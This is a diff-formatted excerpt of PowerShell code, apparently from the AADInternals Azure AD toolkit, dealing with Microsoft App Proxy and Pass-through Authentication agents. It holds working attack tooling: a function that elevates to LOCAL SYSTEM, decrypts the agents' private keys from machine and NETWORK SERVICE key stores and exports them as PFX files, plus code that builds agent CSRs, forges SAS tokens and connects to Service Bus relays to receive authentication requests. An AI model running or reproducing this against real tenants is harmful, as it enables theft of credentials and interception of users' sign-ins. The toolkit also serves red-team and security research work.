$response = Invoke-RestMethod -UseBasicParsing -Uri "https://$TenantId.admin.msappproxy.net/onPremisesPublishingProfiles('provisioning')/agentGroups" -Method POST -Headers $headers -Body $Body
|
||||
|
||||
$Body = "{""displayName"":""$ConfigurationDisplayName"",""resourceName"":""$ConfigurationResourceName"",""agentGroups"":[{""id"":""$($response.id)""}]}"
|
||||
$response2 = Invoke-RestMethod -UseBasicParsing -Uri "https://$TenantId.admin.msappproxy.net/onPremisesPublishingProfiles('provisioning')/publishedResources" -Method POST -Headers $headers -Body $Body
|
||||
|
||||
# Extract the information and create the return value
|
||||
$attributes=[ordered]@{}
|
||||
|
||||
$attributes["id"]=$response.id
|
||||
$attributes["displayName"]=$response.displayName
|
||||
$attributes["publishingType"]=$response.publishingType
|
||||
$attributes["isDefault"]=$response.isDefault
|
||||
|
||||
$attributes["ConfigurationId"]=$response2.id
|
||||
$attributes["ConfigurationDisplayName"]=$response2.displayName
|
||||
$attributes["ConfigurationResourceName"]=$response2.resourceName
|
||||
$attributes["ConfigurationPublishingType"]=$response2.publishingType
|
||||
|
||||
# return
|
||||
New-Object PSObject -Property $attributes
|
||||
}
|
||||
}
|
||||
|
||||
# Adds the given agent to given group
|
||||
# Apr 7th 2020
|
||||
function Add-ProxyAgentToGroup
|
||||
{
|
||||
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$AccessToken,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[guid]$Agent,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[guid]$Group
|
||||
)
|
||||
|
||||
Process
|
||||
{
|
||||
# Get from cache if not provided
|
||||
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://proxy.cloudwebappproxy.net/registerapp" -ClientId "cb1056e2-e479-49de-ae31-7812af012ed8"
|
||||
|
||||
# Get the tenant id and instance id from the certificate
|
||||
$TenantId = Get-TenantID -AccessToken $AccessToken
|
||||
|
||||
$body="{""@odata.id"":""https://$TenantId.admin.msappproxy.net:443/onPremisesPublishingProfiles('provisioning')/agentGroups('$($Group.toString())')""}"
|
||||
|
||||
$headers = @{
|
||||
"Authorization" = "Bearer $AccessToken"
|
||||
"x-ms-gateway-serviceRoot" =""
|
||||
"Content-Type" = "application/json"
|
||||
}
|
||||
|
||||
Invoke-RestMethod -UseBasicParsing -Uri "https://$TenantId.admin.msappproxy.net/onPremisesPublishingProfiles('provisioning')/agents('$($Agent.toString())')/agentGroups/`$ref" -Method Post -Headers $headers -Body $body
|
||||
|
||||
Write-Host "Agent ($($Agent.toString())) added to group ($($Group.toString()))"
|
||||
}
|
||||
}
|
||||
|
||||
# Export proxy agent certificates from the local computer
|
||||
# Mar 8th 2022
|
||||
# Aug 17th 2022: Added support for exporting from NETWORK SERVICE personal store
|
||||
function Export-ProxyAgentCertificates
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Export certificates of all MS App Proxy agents from the local computer.
|
||||
|
||||
.DESCRIPTION
|
||||
Export certificates of all MS App Proxy agents from the local computer.
|
||||
The filename of the certificate is <server FQDN>_<tenant id>_<agent id>_<cert thumbprint>.pfx
|
||||
|
||||
.Example
|
||||
Export-AADIntProxyAgentCertificates
|
||||
|
||||
Certificate saved to: PTA01.company.com_ea664074-37dd-4797-a676-b0cf6fdafcd4_4b6ffe82-bfe2-4357-814c-09da95399da7_A3457AEAE25D4C513BCF37CB138628772BE1B52.pfx
|
||||
|
||||
.Example
|
||||
Export-AADIntProxyAgentCertificates -GetBootstrap
|
||||
|
||||
Certificate saved to: PTA01.company.com_ea664074-37dd-4797-a676-b0cf6fdafcd4_4b6ffe82-bfe2-4357-814c-09da95399da7_A3457AEAE25D4C513BCF37CB138628772BE1B52.pfx
|
||||
Bootstrap saved to: PTA01.company.com_ea664074-37dd-4797-a676-b0cf6fdafcd4_4b6ffe82-bfe2-4357-814c-09da95399da7_A3457AEAE25D4C513BCF37CB138628772BE1B52.xml
|
||||
|
||||
#>
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Switch]$GetBootstrap
|
||||
)
|
||||
|
||||
Process
|
||||
{
|
||||
# Get all certificates from LocalMachine Personal store
|
||||
$certificates = @(Get-Item Cert:\LocalMachine\My\*)
|
||||
|
||||
# Internal function to parse PTA & Provisioning agent configs
|
||||
function Parse-ConfigCert
|
||||
{
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[String]$ConfigPath
|
||||
)
|
||||
Process
|
||||
{
|
||||
# Check if we have a PTA or provisioning agent configuration and get the certificate if stored in NETWORK SERVICE personal store
|
||||
[xml]$trustConfig = Get-Content "$env:ProgramData\Microsoft\$ConfigPath\Config\TrustSettings.xml" -ErrorAction SilentlyContinue
|
||||
|
||||
if($trustConfig)
|
||||
{
|
||||
$thumbPrint = $trustConfig.ConnectorTrustSettingsFile.CloudProxyTrust.Thumbprint
|
||||
|
||||
# Check where the certificate is stored
|
||||
if($trustConfig.ConnectorTrustSettingsFile.CloudProxyTrust.IsInUserStore.ToLower().equals("true"))
|
||||
{
|
||||
# Certificate is stored in NETWORK SERVICE personal store so we need to parse it from there
|
||||
Write-Verbose "Parsing certificate: $($thumbPrint)"
|
||||
|
||||
Parse-CertBlob -Data (Get-BinaryContent "$env:windir\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\SystemCertificates\My\Certificates\$thumbPrint")
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if($PTACert = Parse-ConfigCert -ConfigPath "Azure AD Connect Authentication Agent")
|
||||
{
|
||||
$binCert = $PTACert.DER
|
||||
$certificate = [System.Security.Cryptography.X509Certificates.X509Certificate2]::new([byte[]]$binCert)
|
||||
$PTAKeyName = $PTACert.KeyName
|
||||
$certificates += $certificate
|
||||
}
|
||||
|
||||
if($ProvCert = Parse-ConfigCert -ConfigPath "Azure AD Connect Provisioning Agent")
|
||||
{
|
||||
$binCert = $ProvCert.DER
|
||||
$certificate = [System.Security.Cryptography.X509Certificates.X509Certificate2]::new([byte[]]$binCert)
|
||||
$ProvKeyName = $ProvCert.KeyName
|
||||
$certificates += $certificate
|
||||
}
|
||||
|
||||
|
||||
$CurrentUser = "{0}\{1}" -f $env:USERDOMAIN,$env:USERNAME
|
||||
Write-Warning "Elevating to LOCAL SYSTEM. You MUST restart PowerShell to restore $CurrentUser rights."
|
||||
|
||||
foreach($certificate in $certificates)
|
||||
{
|
||||
Write-Verbose "Reading certificate: $($certificate.Thumbprint)"
|
||||
|
||||
foreach($ext in $Certificate.Extensions)
|
||||
{
|
||||
# Check the agent Id OID exist
|
||||
if($ext.Oid.Value -eq "1.3.6.1.4.1.311.82.1")
|
||||
{
|
||||
# Extract agent and tenant IDs
|
||||
$agentId = [guid] $ext.RawData
|
||||
$tenantId = [guid] $certificate.Subject.Split("=")[1]
|
||||
|
||||
Write-Verbose " Tenant Id: $tenantId, Agent Id: $agentId"
|
||||
|
||||
# Get the certificate
|
||||
$binCert = $certificate.Export([System.Security.Cryptography.X509Certificates.X509ContentType]::Cert)
|
||||
|
||||
# Get the key blob and decrypt the keys
|
||||
if($PTACert)
|
||||
{
|
||||
# If stored in NETWORK SERVICE store, PTA Agent's key name can't be readed from the certificate
|
||||
$keyName = $PTAKeyName
|
||||
}
|
||||
elseif($ProvCert)
|
||||
{
|
||||
# If stored in NETWORK SERVICE store, Provisioning Agent's key name can't be readed from the certificate
|
||||
$keyName = $ProvKeyName
|
||||
}
|
||||
else
|
||||
{
|
||||
# Read the key name from the certificate
|
||||
$keyName = [System.Security.Cryptography.X509Certificates.RSACertificateExtensions]::GetRSAPrivateKey($certificate).key.uniquename
|
||||
}
|
||||
|
||||
# Discard trailing null, cr, lf
|
||||
$keyName = $keyName.trimEnd(@(0x00,0x0a,0x0d))
|
||||
|
||||
$paths = @(
|
||||
"$env:ALLUSERSPROFILE\Microsoft\Crypto\RSA\MachineKeys\$keyName"
|
||||
"$env:ALLUSERSPROFILE\Microsoft\Crypto\Keys\$keyName"
|
||||
"$env:windir\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-20\$keyName"
|
||||
)
|
||||
foreach($path in $paths)
|
||||
{
|
||||
$keyBlob = Get-BinaryContent $path -ErrorAction SilentlyContinue
|
||||
if($keyBlob)
|
||||
{
|
||||
Write-Verbose "Key loaded from $path"
|
||||
break
|
||||
}
|
||||
}
|
||||
if(!$keyBlob)
|
||||
{
|
||||
if($keyName.EndsWith(".PCPKEY"))
|
||||
{
|
||||
# This machine has a TPM
|
||||
Throw "PCP keys are not supported, unable to export private key!"
|
||||
}
|
||||
else
|
||||
{
|
||||
Throw "Error accessing key. If you are already elevated to LOCAL SYSTEM, restart PowerShell and try again."
|
||||
}
|
||||
return
|
||||
}
|
||||
$blobType = [System.BitConverter]::ToInt32($keyBlob,0)
|
||||
switch($blobType)
|
||||
{
|
||||
1 { $privateKey = Parse-CngBlob -Data $keyBlob -Decrypt -LocalMachine}
|
||||
2 { $privateKey = Parse-CapiBlob -Data $keyBlob -Decrypt -LocalMachine}
|
||||
default { throw "Unsupported key blob type" }
|
||||
}
|
||||
|
||||
# Save to pfx file
|
||||
$fileName = "$(Get-ComputerName -FQDN)_$($tenantId)_$($agentId)_$($certificate.Thumbprint).pfx"
|
||||
Set-BinaryContent -Path $fileName -Value (New-PfxFile -RSAParameters ($privateKey.RSAParameters) -X509Certificate $binCert)
|
||||
|
||||
Write-Host "Certificate saved to: $fileName"
|
||||
|
||||
if($GetBootstrap)
|
||||
{
|
||||
try
|
||||
{
|
||||
$bootStrap = Get-BootstrapConfiguration -MachineName (Get-ComputerName -FQDN) -Certificate (Load-Certificate -FileName $fileName)
|
||||
$bootStrapFileName = "$(Get-ComputerName -FQDN)_$($tenantId)_$($agentId)_$($certificate.Thumbprint).xml"
|
||||
Set-Content $bootStrapFileName -Value $bootStrap
|
||||
Write-Host "Bootstrap saved to: $bootStrapFileName"
|
||||
}
|
||||
catch
|
||||
{
|
||||
Write-Warning "Could not get bootstrap using certificate $($certificate.Thumbprint)!"
|
||||
}
|
||||
}
|
||||
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,802 @@
|
||||
# This file contains utility functions related to Microsoft App Proxy
|
||||
|
||||
|
||||
# Get's bootstrap configuration
|
||||
# Apr 2nd 2020
|
||||
function Get-BootstrapConfiguration
|
||||
{
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$MachineName,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[System.Security.Cryptography.X509Certificates.X509Certificate2]$Certificate
|
||||
)
|
||||
Process
|
||||
{
|
||||
|
||||
# Get the tenant id and instance id from the certificate
|
||||
$TenantId = $Certificate.Subject.Split("=")[1]
|
||||
$InstanceID = [guid]$Certificate.GetSerialNumberString()
|
||||
|
||||
# Actually, it is not the serial number but this oid for Private Enterprise Number. Microsoft = 1.3.6.1.4.1.311
|
||||
foreach($extension in $cert.Extensions)
|
||||
{
|
||||
if($extension.Oid.Value -eq "1.3.6.1.4.1.311.82.1")
|
||||
{
|
||||
$InstanceID = [guid]$extension.RawData
|
||||
}
|
||||
}
|
||||
|
||||
$OSLanguage="1033"
|
||||
$OSLocale="0409"
|
||||
$OSSku="8"
|
||||
$OSVersion="10.0.17763"
|
||||
$AgentSdkVersion="1.5.1318.0"
|
||||
$AgentVersion="1.1.96.0"
|
||||
|
||||
$body=@"
|
||||
<BootstrapRequest xmlns="http://schemas.datacontract.org/2004/07/Microsoft.ApplicationProxy.Common.SignalerDataModel" xmlns:i="http://www.w3.org/2001/XMLSchema-instance">
|
||||
<AgentSdkVersion>$AgentSdkVersion</AgentSdkVersion>
|
||||
<AgentVersion>$AgentVersion</AgentVersion>
|
||||
<BootstrapDataModelVersion>$AgentSdkVersion</BootstrapDataModelVersion>
|
||||
<ConnectorId>$InstanceId</ConnectorId>
|
||||
<ConnectorVersion>$AgentSdkVersion</ConnectorVersion>
|
||||
<ConsecutiveFailures>0</ConsecutiveFailures>
|
||||
<CurrentProxyPortResponseMode>Primary</CurrentProxyPortResponseMode>
|
||||
<FailedRequestMetrics xmlns:a="http://schemas.datacontract.org/2004/07/Microsoft.ApplicationProxy.Common.BootstrapDataModel"/>
|
||||
<InitialBootstrap>true</InitialBootstrap>
|
||||
<IsProxyPortResponseFallbackDisabledFromRegistry>true</IsProxyPortResponseFallbackDisabledFromRegistry>
|
||||
<LatestDotNetVersionInstalled>461814</LatestDotNetVersionInstalled>
|
||||
<MachineName>$machineName</MachineName>
|
||||
<OperatingSystemLanguage>$OSLanguage</OperatingSystemLanguage>
|
||||
<OperatingSystemLocale>$OSLocale</OperatingSystemLocale>
|
||||
<OperatingSystemSKU>$OSSku</OperatingSystemSKU>
|
||||
<OperatingSystemVersion>$OSVersion</OperatingSystemVersion>
|
||||
<PerformanceMetrics xmlns:a="http://schemas.datacontract.org/2004/07/Microsoft.ApplicationProxy.Common.BootstrapDataModel"/>
|
||||
<ProxyDataModelVersion>$AgentSdkVersion</ProxyDataModelVersion>
|
||||
<RequestId>$((New-Guid).ToString())</RequestId>
|
||||
<SubscriptionId>$TenantId</SubscriptionId>
|
||||
<SuccessRequestMetrics xmlns:a="http://schemas.datacontract.org/2004/07/Microsoft.ApplicationProxy.Common.BootstrapDataModel"/>
|
||||
<TriggerErrors/>
|
||||
<UpdaterStatus>Running</UpdaterStatus>
|
||||
<UseServiceBusTcpConnectivityMode>false</UseServiceBusTcpConnectivityMode>
|
||||
<UseSpnegoAuthentication>false</UseSpnegoAuthentication>
|
||||
</BootstrapRequest>
|
||||
"@
|
||||
|
||||
$url="https://$TenantId.bootstrap.msappproxy.net/ConnectorBootstrap"
|
||||
|
||||
try
|
||||
{
|
||||
$response = Invoke-WebRequest -UseBasicParsing -Uri $url -Method Post -Certificate $Certificate -Body $body -ContentType "application/xml; charset=utf-8"
|
||||
}
|
||||
catch
|
||||
{
|
||||
Write-Error "Could not get bootstrap. Expired certificate ($($Certificate.Thumbprint)) or invalid agent ($InstanceID)?"
|
||||
return $null
|
||||
}
|
||||
|
||||
[xml]$xmlResponse = $response.Content
|
||||
|
||||
return $xmlResponse.OuterXml
|
||||
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
# Creates a CSR from the scratch
|
||||
# Apr 2nd 2020
|
||||
function NewCSRforSync
|
||||
{
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$MachineName,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[byte[]]$PublicKey
|
||||
)
|
||||
process
|
||||
{
|
||||
$osVersion="6.2.9200.2"
|
||||
$ADadminUser ="NotYourBusiness!!"
|
||||
$exeName = "AADConnectProvisioningAgentWizard.exe"
|
||||
|
||||
|
||||
$pksha1=[System.Security.Cryptography.SHA1CryptoServiceProvider]::new().ComputeHash($PublicKey)
|
||||
|
||||
# Construct the CSR for signin
|
||||
$CSRToBeSigned=@(
|
||||
Add-DERSequence -Data @(
|
||||
Add-DERInteger -Data 0
|
||||
0x30, 0x00
|
||||
Add-DERSequence -Data @(
|
||||
Add-DERSequence -Data @(
|
||||
Add-DERTag -Tag 0x06 -Data @( # Object Identifier
|
||||
# rsaEncryption (1.2.840.113549.1.1.1)
|
||||
0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x01
|
||||
)
|
||||
0x05, 0x00 # Null
|
||||
)
|
||||
Add-DERTag -Tag 0x03 -Data @( # BitString
|
||||
0x00
|
||||
$PublicKey
|
||||
)
|
||||
|
||||
)
|
||||
|
||||
Add-DERTag -Tag 0xA0 -Data @( # Context specific (block #0)
|
||||
|
||||
# Attributes: osVersion
|
||||
Add-DERSequence -Data @(
|
||||
|
||||
Add-DERTag -Tag 0x06 -Data @( # Object Identifier
|
||||
# osVersion (1.3.6.1.4.1.311.13.2.3)
|
||||
0x2B, 0x06, 0x01, 0x04, 0x01, 0x82, 0x37, 0x0D, 0x02, 0x03
|
||||
)
|
||||
Add-DERSet -Data @( # SET
|
||||
Add-DERIA5String -Text $osVersion
|
||||
)
|
||||
)
|
||||
|
||||
# Extension Request
|
||||
Add-DERSequence -Data @(
|
||||
Add-DERTag -Tag 0x06 -Data @( # Object Identifier
|
||||
# extensionRequest (1.2.840.113549.1.9.14)
|
||||
0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x09, 0x0E
|
||||
)
|
||||
Add-DERSet -Data @(
|
||||
Add-DERSequence -Data @(
|
||||
|
||||
# Key Usage
|
||||
Add-DERSequence -Data @(
|
||||
Add-DERTag -Tag 0x06 -Data @( # Object Identifier
|
||||
0x55, 0x1D, 0x0F # keyUsage (2.5.29.15)
|
||||
)
|
||||
Add-DERTag 0x01 -Data @(0xFF) # Boolean (true)
|
||||
Add-DERTag 0x04 -Data @(0x03, 0x02, 0x04, 0xF0) # Octet string
|
||||
)#
|
||||
# Ext Key Usage
|
||||
Add-DERSequence -Data @(
|
||||
Add-DERTag -Tag 0x06 -Data @( # Object Identifier
|
||||
0x55, 0x1D, 0x25 # extKeyUsage (2.5.29.37)
|
||||
)
|
||||
Add-DERTag 0x04 -Data @(
|
||||
Add-DERSequence -Data @(
|
||||
Add-DERTag -Tag 0x06 -Data @( # Object Identifier
|
||||
0x2B, 0x06, 0x01, 0x05, 0x05, 0x07, 0x03, 0x02 # clientAuth (1.3.6.1.5.5.7.3.2)
|
||||
)
|
||||
|
||||
)
|
||||
)
|
||||
)
|
||||
|
||||
# Subject Key Identifier
|
||||
Add-DERSequence -Data @(
|
||||
Add-DERTag -Tag 0x06 -Data @( # subjectKeyIdentifier (2.5.29.14)
|
||||
0x55, 0x1D, 0x0E
|
||||
)
|
||||
Add-DERTag 0x04 -Data @( # Octet string
|
||||
0x04, 0x14#, 0xEB, 0x4F, 0xD9, 0xFF, 0x3A, 0x20, 0xA9, 0xDB, 0x63, 0xBA, 0x50, 0x2A, 0xF1, 0x5B, 0x96, 0x5F, 0x5C, 0x3C, 0xCD, 0xF4
|
||||
$pksha1
|
||||
)
|
||||
)
|
||||
|
||||
|
||||
)
|
||||
)
|
||||
)
|
||||
|
||||
# Request Client Info
|
||||
Add-DERSequence -Data @(
|
||||
Add-DERTag -Tag 0x06 -Data @( # Object Identifier
|
||||
# requestClientInfo (1.3.6.1.4.1.311.21.20)
|
||||
0x2B, 0x06, 0x01, 0x04, 0x01, 0x82, 0x37, 0x15, 0x14
|
||||
)
|
||||
Add-DERSet -Data @( # Set
|
||||
Add-DERSequence -Data @(
|
||||
Add-DERInteger -Data 0x05
|
||||
Add-DERUtf8String -Tag 0x0C -Text $machineName
|
||||
Add-DERUtf8String -Tag 0x0C -Text $ADadminUser
|
||||
Add-DERUtf8String -Tag 0x0C -Text $exeName
|
||||
)
|
||||
)
|
||||
|
||||
)
|
||||
|
||||
# Enrolment CSP
|
||||
Add-DERSequence -Data @(
|
||||
Add-DERTag -Tag 0x06 -Data @( # Object Identifier
|
||||
# enrolmentCSP (1.3.6.1.4.1.311.13.2.2)
|
||||
0x2B, 0x06, 0x01, 0x04, 0x01, 0x82, 0x37, 0x0D, 0x02, 0x02
|
||||
)
|
||||
Add-DERSet -Data @(
|
||||
Add-DERSequence -Data @(
|
||||
Add-DERInteger 0x01
|
||||
Add-DERUnicodeString -Tag 0x1E "Microsoft Enhanced RSA and AES Cryptographic Provider" -LE
|
||||
Add-DERTag -Tag 0x03 -Data 0x00 # Bit string
|
||||
)
|
||||
)
|
||||
)
|
||||
|
||||
)
|
||||
)
|
||||
|
||||
)
|
||||
|
||||
# Sign the CSR
|
||||
$signature = $rsa.SignData($CSRToBeSigned, [System.Security.Cryptography.HashAlgorithmName]::SHA256,[System.Security.Cryptography.RSASignaturePadding]::Pkcs1)
|
||||
|
||||
# Construct the CSR
|
||||
$CSR = Add-DERSequence -Data @(
|
||||
$CSRToBeSigned
|
||||
Add-DERSequence -Data @(
|
||||
Add-DERTag -Tag 0x06 -Data @(
|
||||
0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x0B
|
||||
)
|
||||
0x05, 0x00 # null
|
||||
)
|
||||
Add-DERTag -Tag 0x03 -Data @(
|
||||
0x00
|
||||
$signature
|
||||
)
|
||||
|
||||
)
|
||||
# return
|
||||
|
||||
return $CSR
|
||||
}
|
||||
}
|
||||
|
||||
# Connects to the given bus
|
||||
function Connect-ToBus
|
||||
{
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[PSObject]$BootStrap,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[System.Security.Cryptography.X509Certificates.X509Certificate2]$cert
|
||||
)
|
||||
Process
|
||||
{
|
||||
# Import AMQP.ps1
|
||||
. "$PSScriptRoot\AMQP.ps1"
|
||||
|
||||
# Define AMQP messages
|
||||
[byte[]]$AMQP0 = @(
|
||||
0x41, 0x4D, 0X51, 0X50, # AMQP
|
||||
0x00, # Protocol
|
||||
0x01, # Major
|
||||
0x00, # Minor
|
||||
0x00) # Revision
|
||||
|
||||
[byte[]]$AMQP1 = @(
|
||||
0x41, 0x4D, 0X51, 0X50, # AMQP
|
||||
0x01, # Protcol = AMQP
|
||||
0x01, # Major
|
||||
0x00, # Minor
|
||||
0x00) # Revision
|
||||
|
||||
[byte[]]$AMQP2 = @(
|
||||
0x41, 0x4D, 0X51, 0X50, # AMQP
|
||||
0x02, # Protcol = TCP
|
||||
0x01, # Major
|
||||
0x00, # Minor
|
||||
0x00) # Revision
|
||||
|
||||
[byte[]]$AMQP3 = @(
|
||||
0x41, 0x4D, 0X51, 0X50, # AMQP
|
||||
0x03, # Protocol = SASL
|
||||
0x01, # Major
|
||||
0x00, # Minor
|
||||
0x00) # Revision
|
||||
|
||||
[byte[]]$EmptyAMQPHeader = @(0x00, 0x00, 0x00, 0x08, 0x02, 0x00, 0x00, 0x00)
|
||||
|
||||
Try
|
||||
{
|
||||
|
||||
# Define some needed variables
|
||||
$NameSpace = $bootStrap.NameSpace
|
||||
$url = "$nameSpace.servicebus.windows.net/`$servicebus/websocket"
|
||||
$connectionId = (New-Guid).ToString()
|
||||
$relayLinkGuid = (New-Guid).ToString()
|
||||
$trackingId = (New-Guid).ToString()
|
||||
|
||||
if($status)
|
||||
{
|
||||
$Status.status = "Connecting to $url"
|
||||
}
|
||||
else
|
||||
{
|
||||
Write-Verbose "Connecting to $url"
|
||||
}
|
||||
#$connector.Status = "Connecting to $url"
|
||||
|
||||
# Create the socket
|
||||
$socket = New-Object System.Net.WebSockets.ClientWebSocket
|
||||
|
||||
# Add wsrelayedamqp as sub protocol
|
||||
$socket.Options.AddSubProtocol("wsrelayedamqp")
|
||||
$socket.Options.ClientCertificates.Add($cert) | out-null
|
||||
|
||||
# Create the token and open the connection
|
||||
$token = New-Object System.Threading.CancellationToken
|
||||
|
||||
$connection = $socket.ConnectAsync("wss://$url", $token)
|
||||
While (!$connection.IsCompleted) { Start-Sleep -Milliseconds 5 }
|
||||
|
||||
if($connection.IsFaulted -eq "True")
|
||||
{
|
||||
Write-Error $connection.Exception
|
||||
return
|
||||
}
|
||||
|
||||
#
|
||||
# Start the Agent
|
||||
#
|
||||
|
||||
# Send SASL version header
|
||||
SendToSocket -Socket $socket -Token $token -Bytes ($AMQP3)
|
||||
|
||||
# DEBUG
|
||||
$relayOpened=$false
|
||||
|
||||
# Start the loop
|
||||
while($socket.state -eq "Open")
|
||||
{
|
||||
$outMessage = $null
|
||||
|
||||
$response = ReadFromSocket -Socket $socket -Token $token -KeepAlive
|
||||
$inMessage = Parse-BusMessage $response
|
||||
|
||||
$close = $false
|
||||
|
||||
switch($inMessage.Type)
|
||||
{
|
||||
"Protocol SASL" {} # Do nothing
|
||||
"SASL Mechanisms"
|
||||
{
|
||||
# SASL init
|
||||
$outMessage = New-SASLInit -Mechanics EXTERNAL
|
||||
}
|
||||
"SASL Outcome"
|
||||
{
|
||||
# Change protocol to AMQP
|
||||
$outMessage = $AMQP0
|
||||
}
|
||||
"Protocol AMQP"
|
||||
{
|
||||
# AMQP Open
|
||||
$outMessage = New-AMQPOpen -ContainerId "RelayConnection_$connectionId" -HostName "$nameSpace-relay.servicebus.windows.net"
|
||||
}
|
||||
"AQMP Open"
|
||||
{
|
||||
# AMQP Begin
|
||||
$outMessage = New-AMQPBegin
|
||||
}
|
||||
"AQMP Begin"
|
||||
{
|
||||
# AMQP Attach handle 0 and 1
|
||||
SendToSocket -Socket $socket -Token $token -Bytes (New-AMQPAttach -Handle 0 -RelayLinkGuid $relayLinkGuid -Direction out -BootStrap $bootStrap -TrackingID $trackingId)
|
||||
SendToSocket -Socket $socket -Token $token -Bytes (New-AMQPAttach -Handle 1 -RelayLinkGuid $relayLinkGuid -Direction in -BootStrap $bootStrap -TrackingID $trackingId)
|
||||
|
||||
$outMessage = New-AMQPFlow
|
||||
}
|
||||
"AQMP Attach"
|
||||
{
|
||||
# Nothing to do
|
||||
}
|
||||
"AQMP Flow"
|
||||
{
|
||||
# Send an empty AMQP Header
|
||||
$outMessage = $EmptyAMQPHeader
|
||||
if($status)
|
||||
{
|
||||
$Status.status += "`nWaiting for auth requests.."
|
||||
}
|
||||
else
|
||||
{
|
||||
Write-Verbose "Waiting for auth requests.."
|
||||
}
|
||||
}
|
||||
"AQMP Detach"
|
||||
{
|
||||
# Send AMQP Detach
|
||||
$outMessage = New-AMQPDetach -Handle ($inMessage.Handle)
|
||||
Write-Verbose ($inMessage.Error)
|
||||
}
|
||||
"AQMP End"
|
||||
{
|
||||
# Send AMQP End
|
||||
$outMessage = New-AMQPEnd
|
||||
}
|
||||
"AQMP Close"
|
||||
{
|
||||
# Send AMQP Close
|
||||
$outMessage = New-AMQPClose
|
||||
|
||||
# Close the socket after sending the last message
|
||||
$close = $True
|
||||
|
||||
# Set the status
|
||||
if($status)
|
||||
{
|
||||
$Status.status += "`nClosed."
|
||||
}
|
||||
else
|
||||
{
|
||||
Write-Verbose "Closed."
|
||||
}
|
||||
}
|
||||
"OnewaySend"
|
||||
{
|
||||
# Send the disposition message
|
||||
SendToSocket -Socket $socket -Token $token -Bytes (New-AMQPDisposition)
|
||||
|
||||
# Time to create the relay!
|
||||
if($status)
|
||||
{
|
||||
$Status.status += "`nOpening relay to $($inMessage.RelayAddress)"
|
||||
}
|
||||
else
|
||||
{
|
||||
Write-Verbose "Opening relay to $($inMessage.RelayAddress)"
|
||||
}
|
||||
|
||||
if(!$relayOpened)
|
||||
{
|
||||
$relayOpened = $true
|
||||
Connect-ToAuthRelay -Hostname $inMessage.RelayAddress -Id $inMessage.RelayId -Certificate $cert
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if($outMessage -ne $null)
|
||||
{
|
||||
SendToSocket -Socket $socket -Token $token -Bytes $outMessage
|
||||
|
||||
}
|
||||
|
||||
if($close)
|
||||
{
|
||||
$socket.Abort()
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
|
||||
}
|
||||
catch
|
||||
{
|
||||
$Exception = $error[0]
|
||||
Write-Host $Exception -ForegroundColor Red
|
||||
}
|
||||
Finally{
|
||||
|
||||
If ($socket) {
|
||||
Write-Verbose "Closing websocket"
|
||||
$socket.Dispose()
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
# Creates a SAS token
|
||||
function Get-SASToken
|
||||
{
|
||||
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$Url,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$Key,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$KeyName,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[DateTime]$Expires=(Get-Date).AddDays(1)
|
||||
)
|
||||
Process
|
||||
{
|
||||
# Create the HMAC object
|
||||
$keyBytes=[Text.Encoding]::UTF8.GetBytes($Key)
|
||||
$hmac = [System.Security.Cryptography.HMACSHA256]::new($keyBytes)
|
||||
|
||||
# Convert to UNIX time
|
||||
$exp=([System.DateTimeOffset]$Expires.ToUniversalTime()).ToUnixTimeSeconds()
|
||||
|
||||
# Form the string to sign (urlencoded uri + \n + expires)
|
||||
$namespace = $url.split("/")[2]
|
||||
$urlToSign = [System.Web.HttpUtility]::UrlEncode($url) + "`n" + [string]$exp
|
||||
$byteUrl=[Text.Encoding]::UTF8.GetBytes($urlToSign)
|
||||
|
||||
# Calculate the signature
|
||||
$byteHash = $hmac.ComputeHash($byteUrl)
|
||||
$signature = [System.Convert]::ToBase64String($byteHash)
|
||||
|
||||
# Form the token
|
||||
$SASToken = "SharedAccessSignature sr=" + [System.Web.HttpUtility]::UrlEncode($Url) + "&sig=" + [System.Web.HttpUtility]::UrlEncode($signature) + "&se=" + $exp + "&skn=" + $KeyName
|
||||
|
||||
return $SASToken
|
||||
}
|
||||
}
|
||||
|
||||
function Connect-ToAuthRelay
|
||||
{
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$Hostname,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$Id,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[System.Security.Cryptography.X509Certificates.X509Certificate2]$Certificate
|
||||
|
||||
)
|
||||
Process
|
||||
{
|
||||
|
||||
Try
|
||||
{
|
||||
$url = "$Hostname/`$servicebus/websocket"
|
||||
|
||||
|
||||
|
||||
# Create the socket
|
||||
$socket = New-Object System.Net.WebSockets.ClientWebSocket
|
||||
|
||||
# Add wsrelayedamqp as sub protocol
|
||||
